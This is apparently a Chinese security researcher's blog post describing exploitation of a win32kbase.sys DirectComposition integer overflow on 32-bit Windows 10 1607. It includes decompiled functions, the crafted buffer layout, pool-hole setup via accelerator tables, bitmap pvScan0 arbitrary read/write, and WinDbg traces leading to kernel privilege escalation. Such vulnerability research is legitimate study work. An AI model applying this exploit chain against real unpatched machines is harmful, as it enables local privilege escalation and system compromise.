0x00 前言
2018年开年第一篇博客，感谢大家一年来对我博客的支持，希望2018年能继续输出一些技术，也给大家拜个早年，祝大家新年身体健康，工作顺利，学业进步，红包多多，0day多多！
这篇的基础是360 vulcan team的邱神和社哥在cansecwest2017的议题《Win32k Dark Composition－－Attacking the Shadow Part of Graphic Subsystem》，我2017年在博客发了第一篇（地址：https://whereisk0shl.top/Dark%20Composition%20Exploit%20in%20Ring0.html）关于议题中的第一个double free漏洞demo的exploit过程，这篇文章则是对另一个integer overflow漏洞demo的exploit过程，我利用这两天时间完成了这个win32kbase.sys中的整型溢出漏洞的exploit，和大家分享一下从漏洞分析到完成exploit的过程，以及一些疑惑和坑，也请师傅们多多交流讨论，感谢阅读！
目标环境：Windows 10 x86 build 1607 14393.0（我将在第二节提到为什么是32位环境）
我会默认师傅们已经看过邱神和社哥议题的slide以及poc（https://github.com/progmboy/cansecwest2017），这里重复的内容就不再做赘述。
0x01 我的疑惑
把这个问题放在前面是因为我觉得这个问题很有意思，感觉也是可以解决的，但是可能因为我比较菜，在关于内核的一些方面学习不够深入，所以还未解决问题，所以一开始抛出这几个问题，希望能和师傅们交流解决。
关于问题的详细内容可以在后面对漏洞分析和exploit的过程中得到印证。
这个问题主要在于为什么使用32位系统来完成exploit，原因是64位系统在DirectComposition::CPropertyBagMarshaler::SetBufferProperty函数实现上与32位的一些区别，这点在slide中也提及，那就是其中的databuf部分不能为0，在这种情况下需要提前设置property的值为2，这样能够在SetBufferProperty的时候申请一个池来令databuf的值不为0，而是一个指针指向申请的池。
在我的研究时发现这个池的size必须小于0xC，这样才能保证在UpdatePropertyValue的时候触发整型溢出，这样Alloc pool的时候申请的pool大小最小是0x20，这样就存在一个问题，在x64下的时候，我们需要一个可预测的池，这样才能保证后面实现任意地址读写，但0x20这个pool size是个很尴尬的size，一会会提到。
我尝试了两种方法来完成x64下的exploit，第一种是pool spray，第二种是通过accelerator，通过这两种方法，可以将data attack的关键组件pool布局在setbufferproperty申请的pool的后面。
首先第一种方法是通过pool spray来制造一个0x20的hole，之后把bitmap布置在hole的后面，这样我们要任意地址写的部分相对hole就固定了，我们就可以精准的写bitmap的pvscan0，最后完成data attack。
通过这种方法可以制造一个0x20的pool hole，然后可以利用整型溢出覆盖到布局在后面bitmap的pvscan0，从而完成data attack，但是这种情况有问题，一会会提到。
关于这种制造池空洞的pool fengshui方法有很多好文章，这里推荐这篇：https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html
第二种方法是利用Accelerator，利用的方法我在以前的文章中也提到过，通过Accelerator和gsharedinfo table来制造一个稳定的pool hole，并且泄露出地址，这个pool hole用于存放setbufferproperty的pool和bitmap的pool，这样我们可以通过比较，让申请的bitmap在setbufferproperty的pool后面。
关于这种申请稳定pool hole并且泄露的方法可以参照我的文章：https://www.anquanke.com/post/id/85579
在尝试的过程中发现了一些问题，主要是关于0x20的size，这个pool的大小太小了，在这种情况下申请池会走lookaside list这种快表，在申请的过程中会优先从lookaside list链表中选取符合大小的pool，这样导致pool hole很难占位，当然，我以前在网上看过一篇kernel exploit的文章，作者申请了0x70大小的pool，作者通过申请大量的0x70 pool先把lookaside list占满，然后就会申请到制造的pool hole的空间。
我同样尝试了这种方法，但是发现0x20这个size的pool太多了，不知道如何能够保证每次都稳定申请到pool hole，所以这种pool spray的方法就耽搁下来了。
第二种方法Accelerator，最小申请不到0x20的空间，所以这个pool hole我也尝试失败了，所以在64位下我没有完成利用，主要就是这个问题没有得到解决，如果有师傅有思路可以和我交流，我会去尝试新的方法解决！一起开开脑洞～
0x03 漏洞分析与利用
下面进入关于这个漏洞的正题，我们在32位下完成这个漏洞的利用，在32位下默认databuf的指针值是null，但这不会影响到后续的利用，这个漏洞是win32kbase.sys中的一处整型溢出，首先来看一下函数外层。
signed int __thiscall DirectComposition::CPropertyBagMarshaler::SetBufferProperty(DirectComposition::CPropertyBagMarshaler *this, struct DirectComposition::CApplicationChannel *a2, unsigned int a3, void *a4, size_t a5, bool *a6)
{
__int32 v6; // esi@1
DirectComposition::CPropertyBagMarshaler *v7; // ebx@1
v6 = 0;
v7 = this;
if ( a3 )
{
if ( a3 == 1 ) // *(DWORD*)((PUCHAR)pMappedAddress + 8) = 1;
{
if ( a5 >= 0x10 ) // databuf size
{
memcpy(&v20, a4, a5);
v8 = DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue(v7, (const struct PropertyUpdate *)&v20, a5);// *v7 = null
goto LABEL_5;
}
}当property也就是a3设置为1的时候，会判断size的大小，当size大于0x10时会调用updateproperty，整型溢出就发生在这个函数中。
__int32 __thiscall DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue(DirectComposition::CPropertyBagMarshaler *this, const struct PropertyUpdate *a2, unsigned int a3)
{
v3 = this; // databuf size 0x20
v4 = *((_DWORD *)a2 + 2); // control
// [edx+8] = &bitmap height
if ( v4 < *((_DWORD *)this + 8) - 12 ) //integer overflow!!!
{
v5 = *((_DWORD *)a2 + 3); // DataBuf offset edx be controled
// [edx+0Ch] = 0x45
v6 = v4 + *((_DWORD *)this + 7); // bitmap height = 0x45 = DataBuf size -> + default 0
if ( *(_DWORD *)v6 != v5 ) // must equal
return -1073741811;
if ( v5 <= 69 )
{
if ( v5 != 69 )
{
//do something
}
if ( a3 == 32 ) // pMappedAddress = 0x20
{
v17 = (_DWORD *)(v6 + 12); // height + 0xc = pvScan0
*v17 = *((_DWORD *)a2 + 4); // [edx+0x10] = workBitmap pvScan0
v14 = (char *)a2 + 20;
v15 = v17 + 1;
goto LABEL_32;
}
return -1073741811;
}
return -1073741811;
}问题发生在 v4 < *((_DWORD )this + 8) – 12这行代码，默认this＋8里存放的值是null，在x64下，需要在这个位置赋值，当这里的值为null，则((_DWORD *)this + 8) – 12的时候会等于0xfffffff4，这个值是一个无符号型，所以是个极大值，那么v4是可控的，可以赋值一个几乎包含整个内存空间的值，这样就可以在后续a3=＝32这个if语句中完成对任意地址的写。
.text:00048251 ; 23: if ( v4 < *((_DWORD *)this + 8) - 12 )
.text:00048251 mov eax, [ebx+20h]
.text:00048254 sub eax, 0Ch//整型溢出
.text:00048257 cmp esi, eax
.text:00048259 jnb loc_9E090我们来看一下任意地址写的过程，在此之前，我们要了解a2的值是szbuf，这个值我们是可以在代码中定义的，this值是szbuf的拷贝，这个操作会在setbuffproperty函数中调用updatepropertyvalue函数前的memcpy(&v20, a4, a5);中拷贝，同样这个值也是可控的。
v4 = *((_DWORD *)a2 + 2); //v4的值可控，就是szbuf里面的值
……
v5 = *((_DWORD *)a2 + 3); //v5的值同样可控，我们要令这个值为0x45
v6 = v4 + *((_DWORD *)this + 7); //this+7的值可控，和v4值相加之后是v6，也可控
……
if ( *(_DWORD *)v6 != v5 ) //这行十分关键，v6可控，但v6中存放的值必须和v5相等，也就是说
//v6的值必须为0x45
return -1073741811;
……
//只有v5＝0x45才能到这个if语句
if ( a3 == 32 ) // a3的值是size，可以在代码中定义，我们令a3为0x20
{
v17 = (_DWORD *)(v6 + 12); // v6值可控，v17的值也可控
*v17 = *((_DWORD *)a2 + 4); // 任意地址写！这里可以将可控值写到可控地址
v14 = (char *)a2 + 20;
v15 = v17 + 1;
goto LABEL_32;
}根据上述分析的情况，我们就可以在代码中实现对szbuf的控制
*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = hResource;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 1;//这里将property置为1
//*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = sizeof(szBuff);
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 0x20;//这里是关键，令size为0x20
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, sizeof(szBuff));这样，我们就完成了一个基本漏洞利用场景的构建，接下来我们就需要决定利用v17 = ((_DWORD *)a2 + 4); 这行代码往哪个地址写些什么。
这里我决定用bitmap这种data attack的方法来完成利用，因为首先根据我们刚才的分析，v6这个值必须为0x45，而v6+0xC的位置是我们要写任意值的位置，如果看过bitmap相关利用文章的师傅们会知道利用bitmap.pvScan0就可以实现data attack，完成任意地址读写，而bitmap.pvScan0 – 0xC的值是nHeight，这个值用户可控。
所以，在32位下我们甚至连pool fengshui都不需要做，只需要制造一个bitmap并且能将bitmap的kernel object address泄露出来，然后精准布局szBuf即可。
接下来我们来完成最后的利用，首先是利用Accelerator来制造一个稳定的hole并且通过gsharedinfo泄露出来，这里有个比较特殊的地方，由于我们需要控制bitmap的nheight，因此需要在createbitmap的时候控制第二个参数BitmapInfo.hBitmap = CreateBitmap(0x200, 0x45, 1, 1, 0); // nHeight should be 0x45。
这样我们需要来控制申请pool的大小，这里我逆向了createbitmap和createacceleratortable函数。
kd> kb
ChildEBP RetAddr Args to Child
ac147a9c 946ea1aa 00000021 00000290 35306847 win32kfull!Win32AllocPoolImpl+0x35
ac147abc 946e6da2 00000001 ac147b90 00000004 win32kbase!PALLOCMEM2+0x24
ac147ad4 946e72ce 00000290 00000005 00000001 win32kbase!AllocateObject+0xe2
ac147b40 946d43a9 ac147b90 00000000 00000000 win32kbase!SURFMEM::bCreateDIB+0x30e
ac147bac 988f085d 00000001 00000045 00000001 win32kbase!GreCreateBitmap+0xe9
ac147bf8 81d502c7 00000001 00000045 00000001 win32kfull!NtGdiCreateBitmap+0x33
kd> kb
ChildEBP RetAddr Args to Child
abc32b5c 946f9e87 00000102 63617355 00a72e90 win32kbase!Win32AllocPoolWithQuotaZInit+0xc
abc32b84 989044d5 a24b8428 00000000 947a4a5c win32kbase!HMAllocObject+0x1e7
abc32bcc 98904486 7c04caef 00a72da0 0076f8d0 win32kfull!_CreateAcceleratorTable+0x29
abc32c04 81d502c7 00a72da0 00000028 0076f8e0 win32kfull!NtUserCreateAcceleratorTable+0x5e这里的win32kfull!_CreateAcceleratorTable中找到了关于accelerator申请大小的地方。
int __stdcall NtUserCreateAcceleratorTable(unsigned int a1, unsigned int a2)
v3 = 6 * a2;//a2 = Accelerator第二个参数
if ( 6 * a2 )
{
v4 = *(_BYTE **)_W32UserProbeAddress;
if ( v3 + a1 > *(_DWORD *)_W32UserProbeAddress || v3 + a1 < a1 )
goto LABEL_10;
}
LABEL_6:
ms_exc_20 = -2;
v5 = (int *)_CreateAcceleratorTable((const void *)a1, v3);这里就是createaccelerator中第二个参数与6相乘，因此只需要在createbitmap中找到ExAllocatePoolWithTag前的size大小，然后算出createacceleratortable第二个参数的大小就能申请相同的hole了。
随后通过我们的布局，我们可以跟踪整个利用的过程，对比之前我对setbuffproperty->updatepropertyvalue过程的分析。
kd> p
win32kbase!DirectComposition::CPropertyBagMarshaler::SetBufferProperty+0x38:
946f8670 83ff10 cmp edi,10h
kd> r edi//首先比较size大小，这里我们已经置为0x20
edi=00000020
……
//managerbitmap的地址是0x8c8e1000，workerbitmap的地址是0x8c8e3000
kd> p
win32kbase!DirectComposition::CPropertyBagMarshaler::SetBufferProperty+0x42:
946f867a 51 push ecx
kd> dd b7580010 l5//可以看到szbuf的覆盖情况，其中+0x8h的地方是bitmap中pvscan0-0xc的值，+0xc是0x45
// +0x10是workerbitmap的pvscan0
b7580010 71def72d 58ac0714 8c8e1024 00000045
b7580020 8c8e3030
kd> r ecx
ecx=b7580010
……
kd> p//漏洞触发
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x12:
946f8254 83e80c sub eax,0Ch//integer overflow
kd> p
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x15:
946f8257 3bf0 cmp esi,eax
kd> r esi
esi=8c8e1024//比较的值是managerbitmap，由于整数溢出，所以这个值会比0xfffffff4小，可以通过判断
kd> r eax
eax=fffffff4//integer overflow是个无符号数，极大值
……
kd> p//与0x45比较，eax的值已经通过szbuf布局
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x2a:
946f826c 83f845 cmp eax,45h
kd> p
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x2d:
946f826f 7e37 jle win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x66 (946f82a8)
kd> r eax
eax=00000045
……
kd> p//任意地址写！
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x55eb8:
9474e0fa a5 movs dword ptr es:[edi],dword ptr [esi]
kd> r esi
esi=a42aca90
kd> dd esi l1
a42aca90 8c8e3030
kd> r edi
edi=8c8e1030
kd> dd 8c8e1030 l1
8c8e1030 8c8e117c到这里我们完成了对managerbitmap的pvscan0的写入，写入的内容是workerbitmap的pvscan0地址，这样我们就完成了data attack的准备工作，但是到这里的时候，我执行后面的任意地址读写的时候触发了BSoD bugcheck。
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 87a98104, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 988e91ea, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
FAULTING_IP:
win32kfull!bDoGetSetBitmapBits+4a
988e91ea 8b0c8560a5aa98 mov ecx,dword ptr win32kfull!galBitsPerPixel (98aaa560)[eax*4]后来我检查了一下，发现是szbuf的写入有问题，在updatepropertyvalue函数中，是连续写入的，也就是除了写入我们想要的bitmap.pvscan0，还在写入想要值之后，还写入了一些junk data。
.text:0009E0FA movsd //写入bitmap.pvscan0
.text:0009E0FB ; 48: *v15 = *(_DWORD *)v14;
.text:0009E0FB ; 49: v19 = (int)(v14 + 4);
.text:0009E0FB ; 50: v18 = (int)(v15 + 1);
.text:0009E0FB
.text:0009E0FB loc_9E0FB: ; CODE XREF: DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue(PropertyUpdate const *,uint)+55E76j
.text:0009E0FB movsd //写入了junk data
.text:0009E0FC ; 51: *(_DWORD *)v18 = *(_DWORD *)v19;
.text:0009E0FC movsd //写入了junk data
.text:0009E0FD ; 52: *(_DWORD *)(v18 + 4) = *(_DWORD *)(v19 + 4);
.text:0009E0FD movsd //写入了junk data这部分数据覆盖了bitmap的kernel object，需要对szbuf再做一点fix。
kd> dd 8c93f000
8c93f000 c4050ace 00000001 00000000 00000000
8c93f010 00000000 c4050ace 00000000 00000000
8c93f020 00000200 00000045 00001140 8c93f17c
8c93f030 8c941030 ea3da585 ca8bfc2f 7bbfb6e9//key!!!这里写入了一些junk data，影响了kernel object
//对szbuff进行fix
CopyMemory(szBuff+0x14, &lpFakeBitmapElement_1,0x4);
CopyMemory(szBuff+0x18, &lpFakeBitmapElement_2,0x4);
CopyMemory(szBuff+0x1C, &lpFakeBitmapElement_3,0x4);最后我们完成提权。
0x04 参考资料
https://github.com/progmboy/cansecwest2017
https://github.com/k0keoyo/Dark_Composition_case_study_Integer_Overflow
https://whereisk0shl.top/Dark%20Composition%20Exploit%20in%20Ring0.html